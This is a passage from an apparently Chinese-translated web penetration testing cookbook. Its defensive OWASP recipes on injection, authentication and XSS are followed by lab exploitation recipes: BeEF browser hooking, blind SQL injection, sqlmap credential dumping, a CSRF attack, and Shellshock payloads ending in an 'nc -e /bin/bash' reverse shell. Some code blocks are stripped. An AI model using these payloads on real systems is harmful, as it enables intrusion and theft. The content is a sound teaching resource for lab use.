/^[a-zA-Z0-9._-]+@([a-zA-Z0-9.-]+\.)+[azA-Z0-9.-]{2,4}$/; 39 | if ( email_regex.test(input) ) { 40 | result = true; 41 | } 42 | return result; 43 | } 44 | ``` 45 | 46 | 3. 对于 SQL 注入,避免拼接输入值为查询十分关键。反之,使用参数化查询。每个编程语言都有其自己的版本: 47 | 48 | PHP MySQLLi: 49 | 50 | ```php 51 | $query = $dbConnection->prepare('SELECT * FROM table WHERE name = ?'); 52 | $query->bind_param('s', $name); 53 | $query->execute(); 54 | ``` 55 | 56 | C#: 57 | 58 | ```csharp 59 | string sql = "SELECT * FROM Customers WHERE CustomerId = @ CustomerId"; 60 | SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new SqlParameter("@CustomerId", System. Data.SqlDbType.Int)); 61 | command.Parameters["@CustomerId"].Value = 1; 62 | ``` 63 | 64 | Java: 65 | 66 | ```java 67 | String custname = request.getParameter("customerName"); 68 | String query = "SELECT account_balance FROM user_data WHERE user_ name =? "; 69 | PreparedStatement pstmt = connection.prepareStatement( query ); 70 | pstmt.setString( 1, custname); 71 | ResultSet results = pstmt.executeQuery( ); 72 | ``` 73 | 74 | 4. 考虑注入出现的时机,对减少可能的损失总量也有帮助。所以,使用低权限的系统用户来运行数据库和 Web 服务器。 75 | 76 | 5. 确保输入用于连接数据库服务器的用户不是数据库管理员。 77 | 78 | 6. 禁用甚至删除允许攻击者执行系统命令或提权的储存过程,例如 MSSQL 服务器中的`xp_cmdshell `。 79 | 80 | ### 工作原理 81 | 82 | 预防任何类型代码注入攻击的主要部分永远是合理的输入校验,位于服务端也位于客户端。 83 | 84 | 对于 SQL 注入,始终使用参数化或者预编译查询。而不是拼接 SQL 语句和输入。参数化查询将函数参数插入到 SQL 语句特定的位置,消除了程序员通过拼接构造查询的需求。 85 | 86 | 这个秘籍中,我们使用了语言内建的校验函数,但是如果你需要校验一些特殊类型的参数,你可以通过使用正则表达式创建自己的版本。 87 | 88 | 除了执行正确校验,我们也需要在一些人蓄意注入一些代码的情况下,降低沦陷的影响。这可以通过在操作系统的上下文中为 Web 服务器合理配置用户权限,以及在数据库服务器上下文中配置数据库和 OS 来实现。 89 | 90 | ### 另见 91 | 92 | 对于数据校验来讲,最有用的工具就是正则表达式。在处理和过滤大量信息的时候,它们也能够让渗透测试变得更容易。所以好好了解它们很有必要。我推荐你查看一些站点: 93 | 94 | + http://www.regexr.com/ 一个很好的站点,其中我们可以获得示例和参数并测试我们自己的表达式来查看是否有字符串匹配。 95 | 96 | + http://www.regular-expressions.info 它包含教程和实例来了解如何使用正则表达式。它也有一份实用的参考,关于主流语言和工具的特定实现。 97 | 98 | + http://www.princeton.edu/~mlovett/reference/Regular-Expressions.pdf (Jan Goyvaerts 编写的《Regular Expressions, The Complete Tutorial》)就像它的标题所说,它是个正则表达式的非常完备的脚本,包含许多语言的示例。 99 | 100 | ## A2 构建合理的身份验证和会话管理 101 | 102 | 带有缺陷的身份验证和会话管理是当今 Web 应用中的第二大关键的漏洞。 103 | 104 | 身份验证是用户证明它们是它们所说的人的过程。这通常通过用户名和密码来完成。一些该领域的常见缺陷是宽松的密码策略,以及隐藏式的安全(隐藏资源缺乏身份验证)。 105 | 106 | 会话管理是登录用户的会话标识符的处理。在 Web 服务器中,这可以通过实现会话 Cookie 和标识来完成。这些标识符可以植入、盗取,或者由攻击者使用社会工程、XSS 或 CSRF 来“劫持”。所以,开发者必须特别注意如何管理这些信息。 107 | 108 | 这个秘籍中,我们会设计到一些实现用户名/密码身份验证,以及管理登录用户的会话标识符的最佳实践。 109 | 110 | ### 操作步骤 111 | 112 | 1. 如果应用中存在只能由授权用户查看的页面、表单或者任何信息片段,确保在展示它们之前存在合理的身份验证。 113 | 114 | 2. 确保用户名、ID、密码和所有其它身份验证数据是大小写敏感的,并且对每个用户唯一。 115 | 116 | 3. 建立强密码策略,强迫用户创建至少满足下列条件的密码: 117 | 118 | + 对于 8 个字符,推荐 10 个。 119 | + 使用大写和小写字母。 120 | + 至少使用一个数字。 121 | + 至少使用一个特殊字符(空格、` !`、`&`、`#`、`%`,以及其它)。 122 | + 禁止用户名、站点名称、公司名称或者它们的变体(大小写转换、l33t、它们的片段)用于密码。 123 | + 禁止使用“常见密码”列表中的密码:https://www.teamsid.com/worst-passwords-2015/ 。 124 | + 永远不要显示用户是否存在或者信息格式是否正确的错误信息。对不正确的登录请求、不存在的用户、名称或密码不匹配模式、以及所有可能的登录错误使用相同的泛化信息。这种信息类似于: 125 | 126 | 登录数据不正确。 127 | 128 | 用户名或密码无效。 129 | 130 | 访问禁止。 131 | 132 | 4. 密码不能以纯文本格式储存在数据库中。使用强哈希算法,例如 SHA-2、scrypt、或者 bcrypt,它们特别为难以使用 GPU 破解而设计。 133 | 134 | 5. 在对比用户输入和密码时,计算输入的哈希之后比较哈希之后的字符串。永远不要解密密码来使用纯文本用户输入来比较。 135 | 136 | 6. 避免基本的 HTML 身份验证。 137 | 138 | 7. 可能的话,使用多因素验证(MFA),这意味着使用不止一个身份验证因素来登录: 139 | 140 | + 一些你知道的(账户信息或密码) 141 | 142 | + 一些你拥有的(标识或手机号) 143 | 144 | + 一些你的特征(生物计量) 145 | 146 | 8. 如果可能的话,实现证书、预共享密钥、或其它无需密码的身份校验协议(OAuth2、OpenID、SAML、或者 FIDO)。 147 | 148 | 9. 对于会话管理,推荐使用语言内建的会话管理系统,Java、ASP.NET和 PHP。它们并不完美,但是能够确保提供设计良好和广泛测试的机制,而且比起开发团队在时间紧迫情况下的自制版本,它们更易于实现。 149 | 150 | 0. 始终为登录和登录后的页面使用 HTTPS -- 显然,要防止只接受 SSL 和 TLS v1.1 连接。 151 | 152 | 1. 为了确保 HTTPS 能够生效,可以使用 HSTS。它是由 Web 应用指定的双向选择的特性。通过 Strict-Transport-Security 协议头,它在 `http://`存在于 URL 的情况下会重定向到安全的选项,并防止“无效证书”信息的覆写。例如使用 Burp Suite 的时候会出现的情况。更多信息请见: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security 。 153 | 154 | 2. 始终设置 HTTPOnly 和安全的 Cookie 属性。 155 | 156 | 3. 设置最少但实际的会话过期时间。确保正常用户离开之后,攻击者不能复用会话,并且用户能够执行应用打算执行的操作。 157 | 158 | ### 工作原理 159 | 160 | 身份校验机制通常在 Web 应用中简化为用户名/密码登录页面。虽然并不是最安全的选择,但它对于用户和开发者最简单,以及当密码被盗取时,最重要的层面就是它们的强度。 161 | 162 | 我们可以从这本书看到,密码强度由破解难度决定,通过爆破、字典或猜测。这个秘籍的第一个提示是为了使密码更难以通过建立最小长度的混合字符集来破解,难以通过排除更直觉的方案(用户名、常见密码、公司名称)来猜测,并且通过使用强哈希或加密储存,难以在泄露之后破解。 163 | 164 | 对于会话管理来说,过期时间、唯一性和会话 ID 的强度(已经在语言内建机制中实现),以及 Cookie 设置中的安全都是关键的考虑因素。 165 | 166 | 谈论身份校验安全的最重要的层面是,如果消息可以通过中间人攻击拦截或者服务,没有任何安全配置、控制或强密码是足够安全的。所以,合理配置的加密通信频道的使用,例如 TLS,对保护我们的用户身份数据来说极其重要。 167 | 168 | ### 另见 169 | 170 | OWASP 拥有一些非常好的页面,关于身份校验和会话管理。我们推荐你在构建和配置 Web 应用时阅读并仔细考虑它们。 171 | 172 | + https://www.owasp.org/index.php/Authentication_Cheat_Sheet 173 | + https://www.owasp.org/index.php/Session_Management_Cheat_Sheet 174 | 175 | ## A3 预防跨站脚本 176 | 177 | 我们之前看到,跨站脚本,在展示给用户的数据没有正确编码,并且浏览器将其解释并执行为脚本代码时发生。这也存在输入校验因素,因为恶意代码通常由输入变量插入。 178 | 179 | 这个秘籍中,我们会涉及开发者所需的输入校验和输出编码,来防止应用中的 XSS 漏洞。 180 | 181 | ### 工作原理 182 | 183 | 1. 应用存在 XSS 漏洞的第一个标志是,页面准确反映了用户提供的输入。所以,尝试不要使用用户提供的信息来构建输出文本。 184 | 185 | 2. 当你需要将用户提供的信息放在输出页面上时,校验这些数据来防止任何类型代码的插入。我们已经在 A1 中看到如何实现它。 186 | 187 | 3. 出于一些原因,如果用户被允许输入特殊字符或者代码段,在它插入到输出之前,过滤或合理编码文本。 188 | 189 | 4. 对于过滤,在 PHP 中,可以使用`filter_var `。例如,如果你想让字符串为邮件地址: 190 | 191 | ```php 192 | $email = "john(.doe)@exa//mple.com"; 193 | $email = filter_var($email, FILTER_SANITIZE_EMAIL); 194 | echo $email; 195 | ``` 196 | 197 | 对于编码,你可以在 PHP 中使用`htmlspecialchars `: 198 | 199 | ```php 200 | $str = "The JavaScript HTML tags are 228 | ``` 229 | 230 | ![](img/4-5-4.jpg) 231 | 232 | 页面会执行脚本,并弹出提示框,表明这个页面上存在跨站脚本漏洞。 233 | 234 | 6. 现在检查源码来观察输入中发生了什么。 235 | 236 | ![](img/4-5-5.jpg) 237 | 238 | 我们的输入看起来作为 HTML 的一部分来处理。浏览器解释了``链接的邮件,你打算浏览器它来看看,像这样: 175 | 176 | ![](img/7-3-2.jpg) 177 | 178 | 3. 现在,在 BeEF 面板中,攻击者会看到新的在线浏览器。 179 | 180 | 4. 攻击者的最佳步骤就是生成一些持久的,至少在用户浏览期间有效。访问攻击者浏览器的`Command`标签页,从这里选择`Persistence | Man-In-The-Browser`之后点击`Execute`。执行之后,选择`Module Results History`中的相关命令来检查结果,像这样: 181 | 182 | ![](img/7-3-3.jpg) 183 | 184 | 5. 如果我们检查浏览器中的`Logs`标签页,我们可能会看到BeEF正在储存用户关于用户在浏览器中执行什么操作的信息,例如输入和点击,我们可以在这里看到: 185 | 186 | ![](img/7-3-4.jpg) 187 | 188 | 6. 我们也可以通过使用`Commands | Browser | Hooked Domain | Get Cookie`来获取Cookie,像这样: 189 | 190 | ![](img/7-3-5.jpg) 191 | 192 | ### 工作原理 193 | 194 | 这个秘籍中,我们使用了`script`标签的`src`属性来调用外部 JS 文件,这里是 BeEF的钩子。 195 | 196 | `hook.js`文件与服务器通信,执行命令并返回响应,使攻击者能够看到它们。它在客户端的浏览器中不打印任何东西,所以受害者通常不会知道他的浏览器正在被攻击。 197 | 198 | 在让受害者执行我们的`hook`脚本之后,我们使用持久化模块 Man In The Browser 使浏览器在每次用户点击链接时,向相同域发送 AJAX 请求,所以这个请求维持了钩子,也加载了新的页面。 199 | 200 | 我么也会看到,BeEF 的日志记录了用户在页面上执行的每个步骤,我们能够从中获得用户名和密码信息。也可以用来获得远程的会话 Cookie,这可以让攻击者劫持受害者的会话。 201 | 202 | ### 更多 203 | 204 | BeEF 拥有很多功能,从判断受害者所使用的浏览器类型,到利用已知漏洞和完全攻陷客户端系统。一些有趣的特性是: 205 | 206 | + `Social Engineering/Pretty Theft`:这是个社会工程工具,允许我们模拟登陆页面,就像常见的服务那样,例如 Fackbook、Linkedin、YouTube 以及其它。 207 | 208 | + ` Browser/Webcam and Browser/Webcam HTML5`:就像看上去那样,这两个模块能够恶意使用许可配置来激活受害者的摄像头,前者使用隐藏的 Flash `embed`标签,后者使用 HTML5 标签。 209 | 210 | + ` Exploits folder`:这包含一组特殊软件和情况的利用,它们中的一些利用服务和其它客户端浏览器。 211 | 212 | + `Browser/Hooked Domain/Get Stored Credentials`:这会尝试提取浏览器中储存的沦陷域的用户名和密码。 213 | 214 | + ` Use as Proxy`:如果我们右击被勾住的浏览器,我们会获得将其用作代理的选项。这将客户端浏览器用作代理,会给我们机会来探索受害者的内部网络。 215 | 216 | BeEF 有许多其它攻击和模块,对渗透测试者非常实用,如果你想要了解更多,你可以查看官方的 Wiki:`https://github.com/ beefproject/beef/wiki`。 217 | 218 | ## 7.4 利用 SQL 盲注 219 | 220 | 在第六章中,我们利用了基于错误的 SQL 注入,现在我们使用 Burp Suite Intruder 作为主要工具来识别和利用 SQL 盲注。 221 | 222 | ### 准备 223 | 224 | 使浏览器将 Burp Suite 用作代理。 225 | 226 | ### 操作步骤 227 | 228 | 1. 浏览` http://192.168.56.102/WebGoat`,实用`webgoat`作为用户名和密码登录。 229 | 230 | 2. 点击` Start WebGoat`来访问 WebGoat 的主页。 231 | 232 | 3. 访问` Injection Flaws | Blind Numeric SQL Injection`。 233 | 234 | 4. 页面上说,练习的目标是找到给定字段在给定行中的值。我们的做事方式有一点不同,但是让我们看看它如何工作:将`101`作为账户号码,并点击`go`。 235 | 236 | ![](img/7-4-1.jpg) 237 | 238 | 5. 现在尝试`1011`。 239 | 240 | ![](img/7-4-2.jpg) 241 | 242 | 到目前为止,我们看到了应用的行为,它仅仅告诉我们账户号码是否有效。 243 | 244 | 6. 让我们尝试注入,因为它查找号码,可能将它们用作整数。我们在测试中不使用单引号,所以提交`101 and 1=1` 245 | 246 | ![](img/7-4-3.jpg) 247 | 248 | 7. 现在尝试`101 and 1=2`。 249 | 250 | ![](img/7-4-4.jpg) 251 | 252 | 看上去这里有个盲注,在有效的账户中注入恒真的条件结果。注入恒假的条件时会出现` Invalid account number`信息。 253 | 254 | 8. 在这个秘籍中,我们要获得连接到数据库的用户名称。所以我们首先需要知道用户名称的长度。让我们尝试一下,注入` 101 AND 1=char_length(current_user)`。 255 | 256 | 9. 下一步是在 BurpSuite 的代理中寻找最后一个请求,并将它发送到 intruder中,像这样: 257 | 258 | ![](img/7-4-5.jpg) 259 | 260 | 0. 一旦发送到 intruder,我们可以清楚所有载荷标记,并在`AND`后面的`1`中添加新的,像这样: 261 | 262 | ![](img/7-4-6.jpg) 263 | 264 | 1. 访问载荷部分并将`Payload type`设为`Numbers`。 265 | 266 | 2. 将`Payload type`设为`Sequential`,从 1 到 15,步长为 1。 267 | 268 | ![](img/7-4-7.jpg) 269 | 270 | 3. 为了看看响应是否满足要求,访问` Intruder's options`,清除` GrepMatch`列表并添加` Invalid account number`,以及`Account number is valid`。 271 | 272 | ![](img/7-4-8.jpg) 273 | 274 | 我们需要在每个 intruder 的标签页中这样修改。 275 | 276 | 4. 为了使应用自动化,在`Redirections `中选择`Always`,并在`Redirections`中选择` Process cookies `。 277 | 278 | ![](img/7-4-9.jpg) 279 | 280 | 我们需要在每个 intruder 的标签页中这样修改。 281 | 282 | 5. 开始攻击 283 | 284 | ![](img/7-4-10.jpg) 285 | 286 | 它找到了号码为 2 的有效响应,这意味着用户名只含有两个字符长。 287 | 288 | 6. 现在,我们打算猜测用户名的每个字符,从第一个字符开始。在应用中提交下列代码:` 101 AND 1=(current_user LIKE 'b%')`。 289 | 290 | 我们选择`b`作为第一个字符,让 BurpSuite 来获取请求,它应该为任意字符。 291 | 292 | 7. 同样,我们将请求发送给 intruder 并保留唯一的载荷标记`b`,它是名称的首单词。 293 | 294 | ![](img/7-4-11.jpg) 295 | 296 | 8. 我们的载荷应该是含有所有小写字母和大写字母的列表(从 a 到 z 以及 A 到 Z)。 297 | 298 | ![](img/7-4-12.jpg) 299 | 300 | 9. 在 intruder 中重复步骤 13 到 14 并开始攻击,像这样: 301 | 302 | ![](img/7-4-13.jpg) 303 | 304 | 我们的用户名的首字母是`S`。 305 | 306 | 0. 现在,我们需要找到名称的第二个单词,所以我们提交` 101 AND 1=(current_user='Sa')`到应用的文本框,并发送请求给 intruder。 307 | 308 | 1. 现在我们的载荷标记是`S`后面的`a`,换句话说,名称的第二个字符。 309 | 310 | ![](img/7-4-14.jpg) 311 | 312 | 2. 重复步骤 18 到 19。在我们的例子中,我们只使用了俩表中的大写字母,因为如果第一个单词是大写的,两个单词就很可能都是大写的。 313 | 314 | ![](img/7-4-15.jpg) 315 | 316 | 名称的第二个单词是`A`,所以应用用于执行查询的数据库用户是`SA`。`SA`在 MSSQL 数据库中的意思是系统管理员。 317 | 318 | ### 工作原理 319 | 320 | 利用 SQL 盲注比起基于错误的注入花费更多精力和时间。在这个秘籍中我们看到了如何获取连接到数据库的用户名,而在第六章的 SQL 注入利用汇总,我们使用了一条命令来获取它。 321 | 322 | 我们可以使用字典来查看当前用户是否在名称列表中,但是如果名称不在列表中,会花费更多时间。 323 | 324 | 我们最开始识别了漏洞,所显示的信息告诉我们我们的请求是真是假。 325 | 326 | 一旦我们知道存在注入,并且正面的响应是什么样子,我们开始询问当前用户的长度,询问数据库,`1`是否是当前用户名的长度,是不是`2`,以此类推,知道我们发现了长度。知道何时停止用户名长度的搜索非常重要。 327 | 328 | 在找到长度之后,我们使用相同的技巧来发现首字母,` LIKE 'b%' `语句告诉 SQL 解释器是否首字母是`b`,剩下的并不重要,它可以是任何东西(`%`是用于多数 SQL 实现的通配符)。这里,我们看到了首字母是`S`。使用相同的技巧,我们就能发现第二个字符,并得到整个名称。 329 | 330 | ### 更多 331 | 332 | 这个攻击可以继续来获得 DBMS 的版本,之后使用厂商特定的命令来观察是否用户拥有管理权限。如果是的话,你可以提取所有用户名和密码,激活远程连接,以及除此之外的许多事情。 333 | 334 | 你可以尝试的事情之一就是使用 SQLMap 来利用这类型的注入。 335 | 336 | 还有另一种类型的盲注,它是基于时间的 SQL 盲注。其中我们没有可视化的线索,关于命令是否被执行(就像有效或者无效的账户信息)。反之,我们需要给数据库发送`sleep`命令,如果响应时间鲳鱼我们发送的时间,那么它就是真的响应。这类型的攻击非常缓慢,因为它有时需要等待 30 秒来获得仅仅一个字符。拥有类似 sqlninja 或者 SQLMap 的工具在这种情况下十分有用(`https://www.owasp.org/index.php/Blind_SQL_Injection`)。 337 | 338 | ## 7.5 使用 SQLMap 获得数据库信息 339 | 340 | 在第六章中,我们使用了 SQLMap 来从数据库提取信息和表的内容。这非常实用,但是这不仅仅是这个工具的优势,也不是最有趣的事情。这个秘籍中,我们会将其用于提取关于数据库用户和密码的信息,这可以让我们访问整个系统,而不仅仅是应用。 341 | 342 | ### 操作步骤 343 | 344 | 1. 启动 Bee-box 虚拟机之后,将 BurpSuite 监听用做代理,登录和选择 SQL 注入漏洞(POST/Search)。 345 | 346 | 2. 输入任何电影名称并点击`Search`。 347 | 348 | 3. 现在让我们访问 BuirpSuite 并查看请求: 349 | 350 | ![](img/7-5-1.jpg) 351 | 352 | 4. 现在,在 Kali 中访问终端并输入以下命令: 353 | 354 | ``` 355 | sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba 356 | ``` 357 | 358 | ![](img/7-5-2.jpg) 359 | 360 | 我们可以看到注入成功了。当前的用户是 DBA,这意味着用户可以对数据库执行管理员操作,例如添加用户和修改密码。 361 | 362 | 5. 现在我们打算提取更多信息,例如用户和密码,所以在终端中输入以下命令: 363 | 364 | ``` 365 | sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords 366 | ``` 367 | 368 | ![](img/7-5-3.jpg) 369 | 370 | 我们现在得到了数据库的用户列表以及哈希后的密码。 371 | 372 | 6. 我们也可以获得 shell,让我们能够直接发送 SQL 查询到数据库。 373 | 374 | ``` 375 | sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell 376 | ``` 377 | 378 | ![](img/7-5-4.jpg) 379 | 380 | ### 工作原理 381 | 382 | 一旦我们知道了存在 SQL 注入,我们使用 SQLMap 来利用它,像这样: 383 | 384 | ``` 385 | sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba 386 | ``` 387 | 388 | 在这个对 SQLMap 的调动中,我们使用了`--cookie`参数来发送会话 Cookie 因为应用需要身份验证来访问`sqli_6.php `页面。`--data`参数包含发送到服务器的 POST 数据,`=p`告诉 SQLMap 仅仅注入`title`参数,`--is-dba`询问数据库当前用户是否拥有管理员权限。 389 | 390 | DBA 允许我们向数据库询问其他用户的信息,SQLMap 通过`--users`和`--passwords`使我们的操作变得更加容易。这些参数询问用户名和密码,因为所有 DBMS 将用户的密码加密存储,我们获得的只能是哈希。所以我们仍然要使用密码破解器来破解它们。如果你在 SQLMap 询问你执行字典攻击的时候回答`Yes`,你可能就知道了至少一个用户的密码。 391 | 392 | 我们也使用了`--sql-shell`选项来从我们向数据库发送的 SQL 查询中获得 shell。这并不是真的 shell,当然,SQLMap 通过 SQL 注入发送我们写的命令,并返回这些查询的结果。 393 | 394 | ## 7.6 执行 CSRF 攻击 395 | 396 | CSRF 攻击强迫身份验证后的用户在 Web 应用中执行需要身份验证的,非预期的行为。这可以通过用户所浏览的外部站点触发该行为来实现。 397 | 398 | 这个秘籍中,我们会获取应用中的信息,来观察攻击站点是否能够发送有效的请求给漏洞服务器。之后,我们会创建页面来模拟正常请求并诱使用户在身份验证后访问这个页面。恶意页面之后会发送请求给漏洞服务器,如果应用在相同浏览器中打开,它会执行操作,好像用户发送了它们。 399 | 400 | ### 准备 401 | 402 | 为了执行 CSRF 攻击,我们使用 vulnerable_vm 中的 WackoPicko 应用:`http://192.168.56.102/WackoPicko`。我们需要两个用户,一个叫做`v_user`,是受害者,另一个叫做`attacker`。 403 | 404 | 我们也需要启动 BurpSuite 并将其配置为服务器的代理。 405 | 406 | ### 操作步骤 407 | 408 | 1. 作为`attacker`登录 WackoPicko。 409 | 410 | 2. 攻击者首先需要了解应用的行为,所以如果我们发酸使用户购买我们的图片,将 BurpSuite 用作代理,我们需要浏览:` http://192.168.56.102/WackoPicko/pictures/recent.php `。 411 | 412 | 3. 选项 ID 为 8 的图片:` http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8`。 413 | 414 | 4. 点击`Add to Cart`。 415 | 416 | 5. 会花费我们 10 个 Tradebux,但这是值得的,所以点击` Continue to Confirmation`。 417 | 418 | 6. 在下一页上,点击`Purchase`。 419 | 420 | 7. 现在,让我们访问 BurpSuite 来分析发生了什么。 421 | 422 | 第一个有趣的调用是`/WackoPicko/cart/action. php?action=add&picid=8 `,它是添加图片到购物车的请求。`/WackoPicko/cart/confirm.php`在我们点击相应按钮时调用,它可能必须用于购买。另一个可被攻击者利用的是购买操作的 POST 调用:`/WackoPicko/cart/action. php?action=purchase`,他告诉应用将图片添加到购物车中并收相应的 Tradebux。 423 | 424 | ![](img/7-6-1.jpg) 425 | 426 | 8. 现在,攻击者需要上传图片来强迫其它用户购买。登录为`attacker`之后,访问`Upload`,填充所需信息,选项需要上传的文件,点击`UploadFile`。 427 | 428 | ![](img/7-6-2.jpg) 429 | 430 | 一旦图片呗上传,我们会直接重定向到它的相应页面,你可以在这里看到: 431 | 432 | ![](img/7-6-3.jpg) 433 | 434 | 要注意为图片分配的 ID,它是攻击的核心部分,这里它是 16。 435 | 436 | 9. 一旦我们分析了购买流程,并拥有了图片 ID,我们需要启动托管恶意页面的服务器。在 Kali 中以 root 用户启动 Apache 服务器,像这样: 437 | 438 | ``` 439 | service apache2 start 440 | ``` 441 | 442 | 0. 之后,创建 HTML 文件,叫做`/var/www/html/wackopurchase.html`,带有如下内容: 443 | 444 | ```html 445 | 446 | 447 | 448 |

Error 404: Not found

449 | 453 | 454 | 455 | 456 | ``` 457 | 458 | 这个代码会我们的商品的发送`add`、`review`和`confirm`请求给 WackoPicko ,之后展示 404 页面给用户,当它加载完成后,它会重定向到购买操作,之后在一秒后关闭窗口。 459 | 460 | 1. 现在以`v_user`登录,上传图片并登出。 461 | 462 | 2. 作为攻击者,我们需要确保用户访问我们的恶意站点,同时仍然保持登录 WackoPicko。以`attacker`登录之后,访问`Recent`并选择属于`v_user`的图片(刚刚上传的那个)。 463 | 464 | 3. 我们需要在图片上输入下列评论。 465 | 466 | ```html 467 | This image looks a lot like this 468 | ``` 469 | 470 | > 译者注:这一步的前提是页面上存在 XSS,没有的话利用社会工程直接发送链接也是可行的。 471 | 472 | 4. 点击`Preview`之后`Create`。 473 | 474 | ![](img/7-6-4.jpg) 475 | 476 | 你可以看到,评论中允许HTML 代码,而且当`v_user`点击链接是,我们的恶意页面会在新窗口打开。 477 | 478 | 5. 登出并以`v_user`登录。 479 | 480 | 6. 访问`Home`并点击` Your Purchased Pics`,这里应该没有攻击者的图片。 481 | 482 | 7. 再次访问`Home`,之后访问` Your Uploaded Pics`。 483 | 484 | 8. 选项带有攻击者评论的图片。 485 | 486 | 9. 点击评论中的链接。 487 | 488 | ![](img/7-6-5.jpg) 489 | 490 | 当它完全加载之后,你应该看到文本框中的一些 WackoPicko 的文本,这个窗口会在一秒之后关闭,我们的攻击已经完成了。 491 | 492 | 0. 如果我们访问`Home`,你可以看到`v_user`的 Tradebux 余额现在是 85。 493 | 494 | ![](img/7-6-6.jpg) 495 | 496 | 1. 现在访问`Your Purchased Pics`:` http://192.168.56.102/WackoPicko/ pictures/purchased.php `来查看非预期购买的图片: 497 | 498 | ![](img/7-6-5.jpg) 499 | 500 | 对于 CSRF 工具者,成功执行漏洞需要预置条件。首先,我们需要了解执行特殊操作所需的请求参数,以及我们需要在所有情况中都处理的响应。 501 | 502 | 这个秘籍中,我们使用了代理和有效用户账户来执行我们所需的操作,来复制和收集所需信息:购买过程中涉及到的请求,这些请求所需的信息,以及执行它们的正确顺序。 503 | 504 | 一旦我们知道了需要向应用发送什么,我们需要将其自动化,所以我们启动 Web 服务器,并准备页面使调用以正确顺序和正确参数执行。通过使用 `onLoad` JS 时间,我们确保购买在`add`和`confirm`调用之前不会执行。 505 | 506 | 在每个 CSRF 攻击中,都必须有方法让用户访问我们的恶意站点,同时保持正常站点的登录。这个秘籍中,我们使用应用的特性,它的评论允许 HTML 代码,并可以在这里输入链接。所以当用户点击某个图片评论中的链接时,它就向我们的 Tradebox 盗取站点发送了请求。 507 | 508 | 最后,当用户访问我们的站点时,它模拟了错误页面,并在购买请求刚刚完成后关闭自己。在这里我们并不需要担心渗透,所以错误页面可以改进一下使用户不怀疑它。这通过 HTML `body`标签中的`onload`事件中的 JavaScript 命令(购买操作的调用,和用于关闭窗口的计时器)来完成。这个时间在页面的所有元素完全加载之后触发,换句话说,当`add`、`review`和`confirm`的步骤完成之后。 509 | 510 | ## 7.7 使用 Shellsock 执行命令 511 | 512 | Shellshock(也叫作Bashdoor)是个在 2014 年九月发现在 Bash shell 中的bug,允许命令通过储存在环境变量中的函数来执行。 513 | 514 | Shellshock 和我们渗透测试者有关系,因为开发者有时候允许我们在 PHP 或 CGI 脚本中调用系统命令 -- 这些脚本可以利用系统环境变量。 515 | 516 | 这个秘籍中,我们会在 Bee-box 漏洞虚拟机中利用 Shellshock 漏洞来获得服务器的命令执行权。 517 | 518 | ### 操作步骤 519 | 520 | 1. 登录` http://192.168.56.103/bWAPP/`。 521 | 522 | 2. 在`Choose your bug`下拉框中选择` Shellshock Vulnerability (CGI) `,之后点击`Hack`。 523 | 524 | ![](img/7-7-1.jpg) 525 | 526 | 在文本中,我们看到了一些有趣的东西;`Current user: www-data`。这可能意味着页面使用系统调用来获得用户名。它给了我们提示:`Attack the referrer`。 527 | 528 | 3. 让我们看看背后有什么东西,使用 BurpSuite 来记录请求并重复步骤 2。 529 | 530 | 4. 让我们查看代理的历史: 531 | 532 | ![](img/7-7-2.jpg) 533 | 534 | 我们可以看到,有个`iframe`调用了 shell 脚本:`./cgi-bin/shellshock.sh`,这可能存在 Shellshock 漏洞。 535 | 536 | 5. 让我们跟随提示并尝试攻击`shellshock.sh`。所以我们首先需要配置 BurpSuite 来拦截服务器的响应,访问`Proxy`标签页的`Options`,并选中`Intercept responses based on the following rules`的选择框。 537 | 538 | 6. 现在,让 BurpSuite 拦截和重新加载`shellshock.php`。 539 | 540 | 7. 在 BurpSuite 中,点击`Forward`直到得到了`/bWAPP/cgi-bin/ shellshock.sh`请求,之后将`Referer`替换为: 541 | 542 | ```sh 543 | () { :;}; echo "Vulnerable:" 544 | ``` 545 | 546 | ![](img/7-7-3.jpg) 547 | 548 | 8. 再次点击`Forward`,在`.ttf`文件的请求中,我们应该能得到`shellshcok.sh`的响应,像这样: 549 | 550 | ![](img/7-7-4.jpg) 551 | 552 | 现在响应多了一个协议头参数,叫做`Vulnerable`。这是因为它将`echo`命令的输出集成到 HTTP 协议头中,所以我们可以进一步利用它。 553 | 554 | 9. 现在使用下列命令重复这个过程: 555 | 556 | ``` 557 | () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig") 558 | ``` 559 | 560 | ![](img/7-7-5.jpg) 561 | 562 | 0. 能够在远程服务器上执行命令,对于渗透测试来说是个巨大的优势,下一步自然是获得远程 shell。在 Kali 中打开终端,监听网络端口,像这样: 563 | 564 | ``` 565 | nc -vlp 12345 566 | ``` 567 | 568 | ![](img/7-7-6.jpg) 569 | 570 | 1. 现在访问 BurpSuite 的代理历史,选择任何`shellshock.sh`的请求,右击它并发送到 Repeater,像这样: 571 | 572 | ![](img/7-7-7.jpg) 573 | 574 | 2. 在 Repeater 中,修改 Referer 的值为: 575 | 576 | ``` 577 | () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345") 578 | ``` 579 | 580 | 这里,192.168.56.1 是我们 Kali 主机的地址。 581 | 582 | 3. 点击`Go`。 583 | 584 | 4. 如果我们检查我们的终端,我们可以看到连接已建立,执行一些命令来检查我们是否得到了远程 shell。 585 | 586 | ![](img/7-7-8.jpg) 587 | 588 | ### 工作原理 589 | 590 | 在第一步中,我们发现了 shell 脚本的调用。因为它可以被 shell 解释器运行,它可能是漏洞版本的 bash。为了验证,我们执行了下列测试: 591 | 592 | ```sh 593 | () { :;}; echo "Vulnerable:" 594 | ``` 595 | 596 | 第一个部分`() { :;};`是个空函数,因为 bash 